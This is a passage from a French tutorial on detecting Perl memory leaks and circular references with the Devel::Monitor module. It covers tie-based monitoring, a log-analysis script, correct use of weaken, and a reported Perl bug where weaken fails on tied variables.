@a = (1,2,3);

Mais encore une fois, c'est une mauvaise idée parce que notre objectif est  de  monitorer des 
centaines de variables, sans avoir à penser à comment les
monitorer.
+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0001 : Les modules Tie sont cons                                             |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Chapitre trois                                                                              |
|                                                                                             |
| Ce que nous voulons                                                                         |
+---------------------------------------------------------------------------------------------+

Nous voulons une fonction qui va monitorer n'importe quoi, et ce, de manière générique. Bref, 
après chaque déclaration, nous voulons pouvoir assigner  un  tie  sur  la variable, sans pour 
autant perdre le contenu actuel.

L'idéal  serait  d'overrider  la  méthode  "my"  (Ça  se  fait  parce  que  j'ai vu le module 
Devel::Leak::Object qui override la méthode "bless"). Le problème est  qu'il  est  impossible 
(Prouvez moi le contraire), d'obtenir le package (__PACKAGE__)  et  la ligne (__LINE__) de la 
déclaration à partir de l'endroit  où  la  méthode "my" serait overridée. Donc, cette méthode 
pourrait probablement marcher, mais je n'aurais pas de nom unique pour chaque variable.

Une autre méthode encore plus idéale, serait d'avoir accès à la liste de toutes les variables 
instanciées à un endroit précis (comme à la dernière ligne  du programme). Toutefois, je n'ai 
rien trouvé permettant cela (Dites-le moi  si  vous savez, et ce dans les plus brefs délais). 
Tout ce qui est possible est de fouiller dans la table des symboles globaux, ce qui n'est pas 
d'une grande utilité. Il semble même impossible, au premier regard, de le faire avec Perl XS.

C'est pour cela que nous utiliserons la méthode du "tie" sans utiliser les  modules  Tie  par 
défaut, mais nous allons nous en inspirer. 

+---------------------------------------------------------------------------------------------+
| Chapitre quatre                                                                             |
|                                                                                             |
| Devel::Monitor                                                                              |
+---------------------------------------------------------------------------------------------+

Regardez sur http://search.cpan.org pour Devel::Monitor

Vous allez tomber sur quelque chose comme :
http://search.cpan.org/~phcote/Devel-Monitor-0.9.0.4/lib/Devel/Monitor.pm

Vous pouvez l'installer avec la commande "cpan -i Devel::Monitor" ou avec ppm sur  windows... 
Bla.

+---------------------------------------------------------------------------------------------+
| Chapitre cinq                                                                               |
|                                                                                             |
| Utilisation de Devel::Monitor                                                               |
+---------------------------------------------------------------------------------------------+

Bon, voici quelques exemples d'utilisation

+---------------------------------------------------------------------------------------------+
| Exemple 0x0004 : Utilisation de "monitor"                                                   |
+---------------------------------------------------------------------------------------------+
{
    my @a;
    monitor('a' => \@a);
    $a[0] = \@a; #Add a circular reference
    print STDERR "Leaving scope\n";
}
print STDERR "Scope left\n";

+----------------------+
| Résultat             |
+----------------------+
MONITOR ARRAY a
Leaving scope
Scope left
DESTROY ARRAY a

+----------------------+
| Explications         |
+----------------------+

La ligne "DESTROY ARRAY a" devrait être entre les deux prints de scope. Ce qui veut  dire que 
@a est deleté à la fin du programme. Si nous exécutons ce code  avec  mod_perl,  la  dernière 
ligne ne sera pas imprimée.

+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0004 : Utilisation de "monitor"                                             |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Exemple 0x0005 : Utilisation de "monitor"                                                   |
+---------------------------------------------------------------------------------------------+
{
    my @list = (1,2,3);
    print STDERR join(", ",@list)."\n";
    for my $item (@list) {
        monitor("item $item" => \$item);
        $item+=1000;
        print "$item\n";
    }
    print STDERR join(", ",@list)."\n";
    print "Leaving scope\n";
}
print "Scope left\n";

+----------------------+
| Résultat que vous    |
| pourriez escompter   |
+----------------------+
1, 2, 3
MONITOR SCALAR : item 1
1001
DESTROY SCALAR : item 1
MONITOR SCALAR : item 2
1002
DESTROY SCALAR : item 2
MONITOR SCALAR : item 3
1003
DESTROY SCALAR : item 3
1, 2, 3
Leaving scope
Scope left

+----------------------+
| Résultat que vous    |
| aurez                |
+----------------------+
1, 2, 3
MONITOR SCALAR : item 1
1001
MONITOR SCALAR : item 2
1002
MONITOR SCALAR : item 3
1003
1001, 1002, 1003
Leaving scope
DESTROY SCALAR : item 3
DESTROY SCALAR : item 2
DESTROY SCALAR : item 1
Scope left

+----------------------+
| Explications         |
+----------------------+

Perl passe la variables par référence dans les "for" et  "foreach",  donc  vous  utilisez les 
références  originales.  Donc,  si  vous  modifiez le contenu de $item, le  array  @list  est 
également modifié. Ceci explique également le  fait  que  "item 1", "item 2" et "item 3" sont 
détruites uniquement lorsque @list est détruite.

+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0005 : Utilisation de "monitor"                                             |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Chapitre six                                                                                |
|                                                                                             |
| Quelques problèmes avec les constantes                                                      |
+---------------------------------------------------------------------------------------------+

Vous remarquerez après usage que les constantes déclarées avec "use constant"  sont  en  fait 
des symboles globaux. Voilà des équivalents :

use constant CONST => [1,2];
sub CONST() { [1,2] };
sub CONST { [1,2] };
*CONST = sub () { [1,2] };       #Déclaré comme le fait constant.pm
*main::CONST = sub () { [1,2] }; #Ne fonctionne pas avec mod_perl

Lorsque perl compile, il s'aperçoit que la constante est inline, donc il la
remplace par sa véritable valeur.

Ce code :
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 use Tie::Array;
5 use constant CONST => [1,2];
6 tie CONST(), 'Tie::StdArray';

est convertit part :
1 use Tie::Array;
2 use constant ('CONST', [1, 2]);
3 BEGIN {${^WARNING_BITS} = "UUUUUUUUUUUU"}
4 use strict 'refs';
5 tie [1, 2], 'Tie::StdArray';

visualisable avec la commande "perl -MO=Deparse test.pl"

Nous essayons donc de tie-er [1, 2], ce qui est impossible car c'est une
constante tel que nous le dira perl.

Nous devons tie-er la valeur retournée par la fonction comme ceci
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 use Tie::Array;
5 use constant CONST => [1,2];
6 tie @{&CONST()}, 'Tie::StdArray';

L'équivalent avec le module monitor se fait ainsi :
monitor('my constant value' => \&CONST);


Également, puisqu'une constante est globale et reste en mémoire le temps que le module est en 
mémoire, notre monitor va nous indiquer que  la  variable est vivante jusqu'à la fin de notre 
programme.  Il  faut  donc  être  en  mesure  d'indiquer  que  la  variable monitorée est une 
constante.

Regardons le cas suivant :

1 use constant CONST => [1,2];
2 {
3     my $list = CONST();
4     monitor('the list' => \$list);
5 }
6 print "Last program line\n";


Ceci indiquera que $list n'est pas détruite avant la fin du programme parce  qu'elle contient 
la  même  référence que CONST. C'est pour cela qu'il faut monitorer  les  constantes  à  leur 
création, pour que par la suite, on ne puisse pas  monitorer  les  variables  qui utilise les 
constantes.

Nous ferons comme ceci :

1 use constant CONST => [1,2];
2 monitor('my constant value' => \&CONST);
3 {
4     my $list = CONST();
5     monitor('the list' => \$list);
6 }
7 print "Last program line\n";


Le deuxième monitor indiquera qu'il n'est pas possible de monitorer la variable parce qu'elle 
est déja monitorée par "my constant value". De ce point, nos  prints  ne  parleront  pas   de 
memory leak... puisque nous verrons immédiatement  que  c'est  une  constante  qui  n'est pas 
supprimée (ce qui est normal).

L'autre problème relié aux constante serait si j'exécute ceci :

1 use constant CONST => [1,2];
2 monitor('my constant value' => \&CONST());
3 {
4     my $list = CONST()->[0];
5     monitor('the list' => \$list);
6 }
7 print "Last program line\n";

J'obtiens le même problème que tantôt parce que CONST()->[0] n'est  pas  déjà  monitoré. Pour 
palier à ces "problèmes", la méthode monitor va tie-er récursivement les constantes, à savoir 
tous les index des arrays, et toutes les clés des hashs, etc.

+---------------------------------------------------------------------------------------------+
| Chapitre sept                                                                               |
|                                                                                             |
| Outil d'insertion de moniteurs                                                              |
+---------------------------------------------------------------------------------------------+

Si vous avez par exemple 100 fichiers à monitorer avec 100000 variables,  vous  aurez  besoin 
d'un script qui va insérer un "monitor" sur chaque variable, pour  vous  éviter  cette   dure 
labeur. Codez vous un SetMonitor.pl qui va parser le code source et insérer des choses comme:

monitor('mona::CGI::SiteMap::$self at line 32' => \$self);


Je ne vous donnerai pas ce code source à moins que la demande se fasse vraiment sentir, parce 
qu'il est vraiment trop laid. Disons que je l'ai fait assez vite.  Faire  un parser improvisé 
en deux/trois jours,  c'est  bon...  mais  patché... Je  conseille  également  d'exécuter  un 
perltidy avant l'usage de ce genre de script.

+---------------------------------------------------------------------------------------------+
| Chapitre huit                                                                               |
|                                                                                             |
| Outil de visualisation d'erreurs                                                            |
+---------------------------------------------------------------------------------------------+

Une fois les monitors implantés, vous roulez votre application, qui  va  printer  des  choses 
dans le STDERR, qui est /var/log/apache2/error_log dans mon cas. Une page me  génère  jusqu'à 
1500000  (Oui, 1500000)  lignes de message pour une page d'informations sur le gène Casp10 de 
la famille  Caspase.  Donc,  j'ai  besoin  d'un  outil  pour me résumer le memory leak que je 
cherche. Voilà cet outil.

NOTE : Vous devez exécuter votre application depuis mod_perl (ou d'un endroit où  le  process 
       ne se termine pas...), autrement, la mémoire sera libérée.

+---------------------------------------------------------------------------------------------+
| VerifyMonitor.pl                                                                            |
+---------------------------------------------------------------------------------------------+
#!/usr/bin/perl

##Philippe Cote, 2005

##DOC

=head1 NAME

VerifyMonitor

=head1 DESCRIPTION

See perl VerifyMonitor -h for help

=cut

use strict;
use warnings;
use File::Find;

#CONSTANTS --------------------------------------------------------------------
use constant RED    => "\e[0;31m";
use constant NORMAL => "\e[0m";

sub printRed {
    my $msg = shift;
    if ($^O !~ /win32|dos/i) {
        print RED . $msg . NORMAL . "\n";
    }
    else {
        print "$msg\n";
    }
}

#HELP -------------------------------------------------------------------------
if ((scalar(@ARGV) < 3) || ($ARGV[0] =~ /(-h)|(--help)/)) {
    print <<"EOT";
Usage : perl VerifyMonitor.pl file beginTag endTag

Add a print at the begin of your program
print STDERR ":::PROGRAM START\n";
and at the end.
print STDERR ":::PROGRAM END\n";

Run your program with some monitors

It will print stuff to the error file you choose

Now verify with this command

perl VerifyMonitor.pl /var/log/apache/error_log ':::PROGRAM START' ':::PROGRAM END'

EOT
    exit(0);
}

#------------------------------------------------------------------------------

_verifyMonitor($ARGV[0],$ARGV[1],$ARGV[2]);

sub _verifyMonitor {
    my $filename = shift;
    my $beginTag = shift;
    my $endTag   = shift;

    open(my $inHandle,$filename) || die("Can't open INFILE: $!");
    my $lineNum = 0;
    my $lineBegin;
    my $lineEnd;
    my $mem = {};  #Every monitored variables
    while (my $line = <$inHandle>) {
        $lineNum++;
        if ($line =~ /$beginTag/) {
            $lineBegin = $lineNum;
            $mem = {};
        }
        if ($line =~ /$endTag/) {
            $lineEnd = $lineNum;
            print "Results from line $lineBegin to $lineEnd ------------------------------------------------\n";
            _printMemoryLeak($mem);
        }
        if ($line =~ /MONITOR CODE (HASH|ARRAY|SCALAR) : (.*)/) {
            #Nothing to do
        }
        elsif ($line =~ /MONITOR (HASH|ARRAY|SCALAR) : (.*)/) {
            if (exists($mem->{$2})) {
                $mem->{$2}++;
            } else {
                $mem->{$2} = 1;
            }
        }
        elsif ($line =~ /DESTROY CODE (HASH|ARRAY|SCALAR) : (.*)/) {
            #Nothing to do
        }
        elsif ($line =~ /DESTROY (HASH|ARRAY|SCALAR) : (.*)/) {
            if (exists($mem->{$2})) {
                if ($mem->{$2} > 1) {
                    $mem->{$2}--;
                } else {
                    delete($mem->{$2})
                }
            } else {
                print "DESTROY $1 : $2 were found, but not monitored\n";
            }
        }
    }
    close($inHandle);
}

sub _printMemoryLeak {
    my $memRef = shift;
    my $i = 0;
    foreach my $key (keys %$memRef) {
        print "$i - $key were not destroyed(".$memRef->{$key}.")\n";
        $i++;
    }
    print "Nothing found\n" if $i == 0;
}
+---------------------------------------------------------------------------------------------+
| EOF : VerifyMonitor.pl                                                                      |
+---------------------------------------------------------------------------------------------+

Ceci imprimera vos variables n'ayant pas été détruites. N'oubliez pas  de  lire  le  help  de 
VerifyMonitor.pl...

+---------------------------------------------------------------------------------------------+
| Chapitre neuf                                                                               |
|                                                                                             |
| Comment régler les références circulaires                                                   |
+---------------------------------------------------------------------------------------------+

Disons que nous avons ce petit code "très con et illogique" orienté objet :

1  #!/usr/bin/perl
2
3  #--------------------------------------------------------------------
4  # Little program
5  #--------------------------------------------------------------------
6
7  use strict;
8  use warnings;
9  use Devel::Monitor qw(:all);
10
11 {
12     my $a = ClassA->new();
13     my $b = $a->getClassB();
14     monitor('$b' => \$b);
15     $b->getClassA()->printSomething();
16     print "Leaving scope\n";
17 }
18 print "Scope left\n";
19
20 #--------------------------------------------------------------------
21 # ClassA (Just a class with the "printSomething" method)
22 #--------------------------------------------------------------------
23
24 package ClassA;
25 use strict;
26 use warnings;
27 use Scalar::Util qw(weaken isweak);
28
29 sub new {
30     my ($class) = @_;
31     my $self = {};
32     bless($self => $class);
33     return $self;
34 }
35
36 sub getClassB {
37    my $self = shift;
38    $self->{_classB} = ClassB->new($self);
39    return $self->{_classB};
40 }
41
42 sub printSomething {
43     print "Something\n";
44 }
45
46 #--------------------------------------------------------------------
47 # ClassB (A class that got a "parent" which is a ClassA instance)
48 #--------------------------------------------------------------------
49
50 package ClassB;
51 use strict;
52 use warnings;
53 use Scalar::Util qw(weaken isweak);
54
55 sub new {
56     my ($class, $classA) = @_;
57     my $self = {};
58     bless($self => $class);
59     $self->setClassA($classA);
60     return $self;
61 }
62
63 sub setClassA {
64     my ($self, $classA) = @_;
65     $self->{_classA} = $classA;
66 }
67
68 sub getClassA {
69     return shift->{_classA};
70 }
71
72 1;

+----------------------+
| Résultat             |
+----------------------+
MONITOR HASH : $b
Something
Leaving scope
Scope left
DESTROY HASH : $b

+----------------------+
| Explications         |
+----------------------+

On  voit  que  l'objet référencé par $b n'est pas détruit lorsqu'il sort du scope  parce  que 
$a->{_classB} le référence. Nous avons une référence circulaire. Nous pouvons  alors utiliser 
deux méthodes.
 - La méthode manuelle qui consiste à détruite avec un  delete  ou  un  undef,  la  référence 
   circulaire, lorsque nous n'avons plus besoin de l'objet.
 - La méthode plus cool, qui consiste à  déclarer  "weaken " une  des  deux  références. Si A 
   pointe vers B et B vers A, si je weaken A, lorsque  le  garbage  collector  vérifiera  les 
   variables, il verra deux références sur A, l'originale  qui est weaken, et celle de B vers 
   A. Il considère donc cela comme une seule référence, rendant possible la suppression de A, 
   qui  rendra  ensuite  possible  la  suppression  de B. Le weaken sert à dire "oui j'ai une
   référence ici, mais fait comme si j'existais pas". On se rend compte  qu'on  ne  peut  pas 
   mettre des weaken partout  comme  l'on  veut  parce  que  nos  variables vont se supprimer 
   d'elle-mêmes...

+---------------------------------------------------------------------------------------------+
| Mauvaise façon de briser la référence circulaire                                            |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    $self->{_classB} = ClassB->new($self);  #$self->{_classB} est la seule
                                            #référence à l'objet
    weaken($self->{_classB});               #on weaken la seule référence
                                            #$self->{_classB} est détruite ici
    print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    return $self->{_classB};                #On retourne undef
}
+---------------------------------------------------------------------------------------------+
| Bonne façon de briser la référence circulaire                                               |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    my $b = ClassB->new($self);
    $self->{_classB} = $b;                  #On crée une seconde référence
    weaken($self->{_classB});               #On crée un weaken
    print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    return $self->{_classB};                #On retourne l'objet, qui
                                            #logiquement sera référencé
                                            #par une variable de l'appelant
} #$b est détruit ici, il nous reste donc la variable de l'appelant et la
  #variable weaken. La variable de l'appelant pourra cependant être détruite
  #parce que la référence circulaire est weaken d'un côté.
+---------------------------------------------------------------------------------------------+
| Faire attention !!! Ceci ne fonctionne pas                                                  |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    {
        my $b = ClassB->new($self);
        $self->{_classB} = $b;                  #On crée une seconde référence
        weaken($self->{_classB});               #On weaken cette référence
        print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    } #$b est détruite ici, et $self->{_classB} aussi parce qu'elle est weaken
      #L'instance "ClassB" est détruite $self->{_classB} égale undef
    return $self->{_classB};
}
+---------------------------------------------------------------------------------------------+
| Bonne façon                                                                                 |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    my $b;
    {
        $b = ClassB->new($self);
        $self->{_classB} = $b;                  #On crée la seconde référence
        weaken($self->{_classB});               #On weaken la référence
        print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    } #$b n'est pas encore détruite, donc on ne perd pas notre référence à
      #notre objet
    return $self->{_classB}; #On retourne l'objet qui sera pris en charge
                             #par le module appelant.
}

+---------------------------------------------------------------------------------------------+
| Conclusion                                                                                  |
+---------------------------------------------------------------------------------------------+
Il faut toujours s'assurer de conserver une référence "non-weak" sur notre objet

Le output final sera :

$self->{_classB} is now weaken
MONITOR HASH : $b
Something
Leaving scope
DESTROY HASH : $b
Scope left

Nous n'avons plus de références circulaires

+---------------------------------------------------------------------------------------------+
| Il faut toujours weaken-er la référence de l'appelant, autrement                            |
| on peut rendre les modules inutilisables                                                    |
+---------------------------------------------------------------------------------------------+

Soit le code suivant avec les package de tantôt :

1  my $b;
2  {
3      my $a = ClassA->new();
4      monitor('$a' => \$a);
5      $b = ClassB->new($a);
6      $b->getClassA()->printSomething();
7      print "Leaving scope\n";
8  }
9  print "Scope left\n";
10 $b->getClassA()->printSomething();

avec le weaken du côté de l'appelé

1 sub setClassA {
2     my ($self, $classA) = @_;
3     $self->{_classA} = $classA;
4     weaken($self->{_classA});
5     print "\$self->{_classA} is now weaken\n" if isweak($self->{_classA});
6 }

On obtient le output suivant avec l'erreur à la fin

MONITOR HASH : $a
$self->{_classA} is now weaken
Something
Leaving scope
DESTROY HASH : $a
Scope left
Can't call method "printSomething" on an undefined value at test.pl line 29.



$a est détruite à la fin du scope, et l'autre référence à la variable est  weaken,  donc elle 
est détruite aussi. Ceci prouvant qu'il faut weaken-er  le  côté  de  l'appelant   parce  que 
l'appelant ne mémorise pas nécessairement la référence.

+---------------------------------------------------------------------------------------------+
| Chapitre dix                                                                                |
|                                                                                             |
| Impossible de weaken-er un objet tied                                                       |
+---------------------------------------------------------------------------------------------+

Il est impossible de weaken-er un objet tied. L'appel de la méthode ne fait  tout  simplement 
rien.

+---------------------------------------------------------------------------------------------+
| Preuve 0x0002 : Test de base                                                                |
+---------------------------------------------------------------------------------------------+
1  use Devel::Monitor qw(:all);
2  use Scalar::Util qw(weaken isweak);
3  my (@a, @b);
4  tie @a, 'Devel::Monitor::TestArray';
5  tie @b, 'Devel::Monitor::TestArray';
6  $a[0] = \@b;
7  $b[0] = \@a;
8  weaken($b[0]);
9  if (isweak($a[0])) {
10     print "\$a[0] is weak\n";
11 } else {
12     print "\$a[0] is not weak\n";
13 }
14 if (isweak($b[0])) {
15     print "\$b[0] is weak\n";
16 } else {
17     print "\$b[0] is not weak\n";
18 }

Le output sera :

$a[0] is not weak
$b[0] is not weak

Toutefois, si nous enlevons les deux "tie", le output sera :

$a[0] is not weak
$b[0] is weak

+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0002 : Test de base                                                          |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Preuve 0x0003 : mod_perl                                                                    |
+---------------------------------------------------------------------------------------------+
Soit le petit programme suivant :

+----------------------+
| test.pl              |
+----------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Scalar::Util qw(weaken);
5  use Devel::Monitor qw(:all);
6  use Util::Junk;
7
8  my (@a, $b);
9  #tie @a, 'Devel::Monitor::TestArray';
10 $a[0] = \$b;
11 $b = \@a;
12 $a[1] = Util::Junk::_20M();
13 weaken($a[0]);
+----------------------+
| EOF : test.pl        |
+----------------------+
+----------------------+
| Util::Junk           |
+----------------------+
1  package Util::Junk;
2  use strict;
3  use warnings;
4
5  sub _20M() { 'A 20 megs string here filled with zeros' }
6
7  1;
+----------------------+
| EOF : Util::Junk     |
+----------------------+
+----------------------+
| wget-test.pl         |
+----------------------+
1  #!/usr/bin/perl
2
3  use strict;
4  use warnings;
5
6  my $baseUrl = 'http://localhost/perl/test.pl';
7
8  my $i = 0;
9  while (1) {
10     print "Loop ".++$i."\n";
11
12     system('wget "'.$baseUrl.'" -O /dev/null') == 0
13         or die "\nwget failed or has been interrupted : $?\n";
14 }
+----------------------+
| EOF : wget-test.pl   |
+----------------------+


Maintenant  que  nous  avons  un  programme et un caller (ainsi que mod_perl),  nous  pouvons 
démarrer le programme. Notez que le url est hardcodé dans le programme de test.

perl wget-test.pl

Lorsque @a n'est pas tied (Voir la ligne 9 commentée),  après  environ  10  chargement  de la 
page, les process de Apache contiennent tous la page et  le  chargement  devient TRÈS rapide. 
Vous noterez également que la mémoire devient stable.

Toutefois, si la ligne 9 n'est plus commentée, la mémoire va rapidement se  remplir et chaque 
chargement de la page aura un temps constant identique aux temps de départ du programme. Nous 
voyons facilement que le weaken ne se fait pas.

+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0003 : mod_perl                                                              |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Preuve 0x0004 : Assaut final                                                                |
+---------------------------------------------------------------------------------------------+

Tout d'abord, il faut s'assurer que les méthodes Scalar::Util::weaken et Scalar::Util::isweak 
ne contiennent pas de bugs. Si nous les regardons de plus  près, nous voyons qu'elles ne font 
simplement qu'appeler les méthodes XS suivantes :

1  void
2  weaken(sv)
3     SV *sv
4  PROTOTYPE: $
5  CODE:
6  #ifdef SvWEAKREF
7     sv_rvweaken(sv);
8  #else
9     croak("weak references are not implemented in this release of perl");
10 #endif
11
12 void
13 isweak(sv)
14    SV *sv
15 PROTOTYPE: $
16 CODE:
17 #ifdef SvWEAKREF
18    ST(0) = boolSV(SvROK(sv) && SvWEAKREF(sv));
19    XSRETURN(1);
20 #else
21    croak("weak references are not implemented in this release of perl");
22 #endif


Nous voyons que ce code est très simple et ne fait qu'appeler des méthodes  de l'API de Perl. 
Donc, aucun gros traitements ici et donc aucune possibilité de bugs dans ces méthodes.

Il existe un outil nommé Devel::Peek qui permet de dumper le contenu d'une  variable  dans un 
format de développeur XS. XS est le langage ou plutôt  l'extension  de  C++  pour  créer  des 
modules Perl en C++, en utilisant l'API de  Perl.  (Voir  perlapi,  perlguts  et  tout  autre 
documentation sur le coeur de Perl)

Si  vous  connaissez  l'API  de perl, vous saurez sans doute que le flag WEAKREF  est  activé 
lorsqu'une variable est weaken et ceci est visualisable avec un dump.

Note : Devel::Peek::Dump ne fait qu'appeler sv_dump de l'API Perl.

Regardons un exemple de résultat que nous devrions avoir :

+----------------------+
| Code                 |
+----------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Devel::Monitor qw(:all);
5   
6  use Scalar::Util qw(weaken);
7  use Devel::Peek;
8  {
9      my (@a);
10     $a[0] = \@a;
11     #tie @a, 'TestArray';
12     Dump($a[0],1);
13     weaken($a[0]);
14     Dump($a[0],1);
15     print "Leaving scope\n";
16 }
17 print "Scope left\n";
18  
19 package TestArray;
20 use Tie::Array;
21 use base 'Tie::StdArray';
22  
23 sub DESTROY { print "Monitor::TestArray::DESTROY : $_[0]\n"; }
24  
25 1;

+----------------------+
| Résultat sans le tie |
+----------------------+
SV = RV(0x81829c0) at 0x814127c
  REFCNT = 1
  FLAGS = (ROK)
  RV = 0x814e740
  SV = PVAV(0x81426cc) at 0x814e740
    REFCNT = 2
    FLAGS = (PADBUSY,PADMY)
    IV = 0
    NV = 0
    ARRAY = 0x8148888
    FILL = 0
    MAX = 3
    ARYLEN = 0x0
    FLAGS = (REAL)
SV = RV(0x81829c0) at 0x814127c
  REFCNT = 1
  FLAGS = (ROK,WEAKREF,IsUV)
  RV = 0x814e740
  SV = PVAV(0x81426cc) at 0x814e740
    REFCNT = 1
    FLAGS = (PADBUSY,PADMY,RMG)
    IV = 0
    NV = 0
    MAGIC = 0x8266f08
      MG_VIRTUAL = &PL_vtbl_backref
      MG_TYPE = PERL_MAGIC_backref(<)
      MG_FLAGS = 0x02
        REFCOUNTED
      MG_OBJ = 0x81411c8
      SV = PVAV(0x8263704) at 0x81411c8
        REFCNT = 2
        FLAGS = ()
        IV = 0
        NV = 0
        ARRAY = 0x82677e8
        FILL = 0
        MAX = 3
        ARYLEN = 0x0
        FLAGS = (REAL)
    ARRAY = 0x8148888
    FILL = 0
    MAX = 3
    ARYLEN = 0x0
    FLAGS = (REAL)
Leaving scope
Scope left

+----------------------+
| Explications         |
+----------------------+

Ce qui nous concerne le plus ici est le flag WEAKREF qui nous confirme que la  référence (RV) 
est bel et bien weaken. Cependant, regardons ce qui se passe  si  l'on  active la ligne 11 de 
notre code étant le tie de la variable @a

+----------------------+
| Résultat avec le tie |
+----------------------+
SV = PVLV(0x817c568) at 0x81413f0
  REFCNT = 1
  FLAGS = (TEMP,GMG,SMG,RMG)
  IV = 0
  NV = 0
  PV = 0
  MAGIC = 0x81505b8
    MG_VIRTUAL = &PL_vtbl_packelem
    MG_TYPE = PERL_MAGIC_tiedelem(p)
    MG_FLAGS = 0x02
      REFCOUNTED
    MG_OBJ = 0x814139c
    SV = RV(0x81829ac) at 0x814139c
      REFCNT = 2
      FLAGS = (ROK)
      RV = 0x8141354
  TYPE = t
  TARGOFF = 0
  TARGLEN = 0
  TARG = 0x81413f0
SV = PVLV(0x817c568) at 0x81413f0
  REFCNT = 1
  FLAGS = (TEMP,GMG,SMG,RMG)
  IV = 0
  NV = 0
  PV = 0
  MAGIC = 0x81505b8
    MG_VIRTUAL = &PL_vtbl_packelem
    MG_TYPE = PERL_MAGIC_tiedelem(p)
    MG_FLAGS = 0x02
      REFCOUNTED
    MG_OBJ = 0x814139c
    SV = RV(0x81829ac) at 0x814139c
      REFCNT = 2
      FLAGS = (ROK)
      RV = 0x8141354
  TYPE = t
  TARGOFF = 0
  TARGLEN = 0
  TARG = 0x81413f0
Leaving scope
Scope left
Monitor::TestArray::DESTROY : TestArray=ARRAY(0x8141354)

+----------------------+
| Explications         |
+----------------------+

On voit que rien n'a changé avant et après l'exécution du weaken sur la variable  tied. Suite 
à  plusieurs  tests,  j'ai   découvert   qu'une   variable   tied   est   de   type    lvalue 
(SvTYPE(sv) == SVt_PVLV). Je    me    suis    également     aperçu     que     la     méthode 
Data::Structure::Util::has_circular_ref ne gère pas ce type de valeur.  Il  semble  également 
que ce type n'est pas si vieux que ça. Je suis donc allé  voir  dans  le  code source de Perl 
pour trouver la méthode sv_rvweaken qui fait défaut. Selon  la définition dans embed.h, cette 
méthode réfère à la méthode Perl_sv_rvweaken suivante :

1  /*
2  =for apidoc sv_rvweaken
3   
4  Weaken a reference: set the C<SvWEAKREF> flag on this RV; give the
5  referred-to SV C<PERL_MAGIC_backref> magic if it hasn't already; and
6  push a back-reference to this RV onto the array of backreferences
7  associated with that magic.
9   
10 =cut
11 */
12  
13 SV *
14 Perl_sv_rvweaken(pTHX_ SV *sv)
15 {
16     SV *tsv;
17     if (!SvOK(sv))  /* let undefs pass */
18         return sv;
19     if (!SvROK(sv))
20         Perl_croak(aTHX_ "Can't weaken a nonreference");
21     else if (SvWEAKREF(sv)) {
22         if (ckWARN(WARN_MISC))
23             Perl_warner(aTHX_ packWARN(WARN_MISC), "Reference is already weak");
24         return sv;
25     }
26     tsv = SvRV(sv);
27     sv_add_backref(tsv, sv);
28     SvWEAKREF_on(sv);
29     SvREFCNT_dec(tsv);
30     return sv;
31 }

En débugguant ce code, on s'aperçoit que la variable tied passe à la  ligne  17,  puis  entre 
dans la condition pour finalement exécuter la ligne 18. La raison est que notre variable tied 
a les flags suivants : FLAGS = (TEMP,GMG,SMG,RMG).  (Voir   http://gisle.aas.no/perl/illguts/ 
pour des informations additionnelles  à perlguts) Donc, comme le dit le code, la condition 17 
devrait être vraie  lorsque  la  variable est non définie, nous indiquant également - sans le 
mentionner  -  que  les  variables  tied  ne  sont pas gérées par cette méthode. Il  faudrait 
remplacer la ligne 18 par quelchose comme :

if (SvMAGIC(sv)) {
    //***************************************
    //Do something like this without bugs !!!
    //***************************************
    //tsv = SvRV(sv);
    //sv_add_backref(tsv, sv);
    //SvWEAKREF_on(sv);
    //SvREFCNT_dec(tsv);
    //***************************************
} else {
    return sv;
}

Toutefois,  je n'arrive pas à faire fonctionner ce genre de code. J'ai des  problèmes avec le 
backref. Il semble me manquer des informations primordiales.

+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0004 : Assaut final                                                          |
+---------------------------------------------------------------------------------------------+

Ce bug a été soumis à perlbug 
http://rt.perl.org/rt3/Ticket/Display.html?id=34524
et n'a pas été répondu à ce jour.

Nous arrivons à l'immense problème où nous ne pouvons pas visualiser  à  tout  coup  que  nos 
variables sont véritablement supprimés comme il se doit,  uniquement  parce  que le weaken ne 
veut pas fonctionner avec un tie sur la variable.

Pour vraiment savoir si le weaken se fait bien, nous devons à ce jour, enlever  les monitors, 
et  vérifier  sur  les  variables  suspectes  s'il  y  a  des  références  circulaires   avec 
Devel::Monitor::print_circular_ref.

+---------------------------------------------------------------------------------------------+
| Chapitre onze                                                                               |
|                                                                                             |
| Utilisation de Devel::Monitor                                                               |
+---------------------------------------------------------------------------------------------+

Lorsque vous avez détectez des variables non détruites, vous pouvez allez plus  en profondeur 
pour   savoir   où   se   situe   la   référence   circulaire   en   utilisant   la   méthode 
Devel::Monitor::print_circular_ref

+---------------------------------------------------------------------------------------------+
| Exemple 0x0006 : Utilisation de "print_circular_ref"                                        |
+---------------------------------------------------------------------------------------------+
1  my (@a, @b);
2  $a[0] = 'asdf';
3  $a[1] = \@b;
4  $b[3] = \@b;
5  print_circular_ref(\@a);
6  print_circular_ref(\@b);

+----------------------+
| Résultat             |
+----------------------+
-------------------------------------------------------------------------------
Checking circular references for ARRAY(0x814e358)
-------------------------------------------------------------------------------
Internal circular reference found : ARRAY(0x814e358)[1][3] on ARRAY(0x814e370)
1 - Item     : ARRAY(0x814e358)
2 - Source   : [1]
